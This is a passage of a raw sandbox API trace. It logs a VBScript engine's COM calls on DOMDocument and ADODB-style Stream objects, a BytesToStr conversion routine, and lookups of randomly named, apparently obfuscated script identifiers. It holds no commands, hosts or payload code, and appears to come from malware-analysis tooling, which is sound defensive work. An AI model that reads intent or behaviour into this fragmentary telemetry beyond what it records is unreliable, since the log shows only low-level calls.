Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154168 | out: ppvObject=0x154168*=0x0) returned 0x80004002 [0088.898] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154158 | out: ppvObject=0x154158*=0x0) returned 0x80004002 [0088.898] DOMDocument:IUnknown:AddRef (This=0x1112980) returned 0x2 [0088.898] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1541b8 | out: ppvObject=0x1541b8*=0x0) returned 0x80004002 [0088.898] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541b4 | out: ppvObject=0x1541b4*=0x1112980) returned 0x0 [0088.898] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0088.898] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154190 | out: ppvObject=0x154190*=0x83fd368) returned 0x0 [0088.898] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15418c | out: ppvObject=0x15418c*=0x83fd378) returned 0x0 [0088.898] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0088.899] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.899] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.899] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.899] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541bc | out: ppvObject=0x1541bc*=0x1112980) returned 0x0 [0088.899] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0088.899] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154188 | out: ppvObject=0x154188*=0x83fd368) returned 0x0 [0088.899] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154184 | out: ppvObject=0x154184*=0x83fd378) returned 0x0 [0088.899] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0088.899] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.899] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.899] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.899] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0088.899] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154210 | out: ppvObject=0x154210*=0x962b320) returned 0x0 [0088.899] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0088.899] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0088.899] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.899] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.899] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x0 [0088.899] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.900] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.900] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.900] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.900] GetCurrentThreadId () returned 0xd44 [0088.900] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.900] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.900] malloc (_Size=0x804) returned 0x83fc220 [0088.900] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.901] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.901] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.901] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=4) returned 0x0 [0088.901] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.901] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.901] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0088.901] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.901] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.901] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.901] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.901] GetCurrentThreadId () returned 0xd44 [0088.902] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.902] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.902] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.902] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.902] GetCurrentThreadId () returned 0xd44 [0088.902] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.902] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.902] malloc (_Size=0x804) returned 0x83fc220 [0088.902] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.903] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.903] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.903] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=10) returned 0x0 [0088.903] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.903] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.903] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0088.903] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.903] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.903] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.903] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.903] GetCurrentThreadId () returned 0xd44 [0088.903] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.903] malloc (_Size=0x404) returned 0x86ea2e0 [0088.904] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.904] malloc (_Size=0x804) returned 0x83fc220 [0088.904] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.904] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.904] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0088.905] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.905] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="write", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=13) returned 0x0 [0088.905] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.905] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.905] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x6c, wReserved2=0x20, wReserved3=0x63, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ca1788*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), varVal2=0x65)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x6c, wReserved2=0x20, wReserved3=0x63, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ca1788*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), varVal2=0x65)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0088.905] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.905] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.905] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.905] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.905] GetCurrentThreadId () returned 0xd44 [0088.905] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.906] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.906] malloc (_Size=0x804) returned 0x83fc220 [0088.906] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.906] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.906] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.906] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=3) returned 0x0 [0088.906] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.906] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.906] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0088.906] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.906] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.907] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0088.907] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.907] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.907] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962b320) returned 0x0 [0088.907] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.907] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0088.907] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=8) returned 0x0 [0088.907] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.907] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0088.907] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962b320) returned 0x0 [0088.907] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.907] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.907] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.908] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.908] GetCurrentThreadId () returned 0xd44 [0088.908] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.908] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.908] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.908] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.908] GetCurrentThreadId () returned 0xd44 [0088.908] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.909] 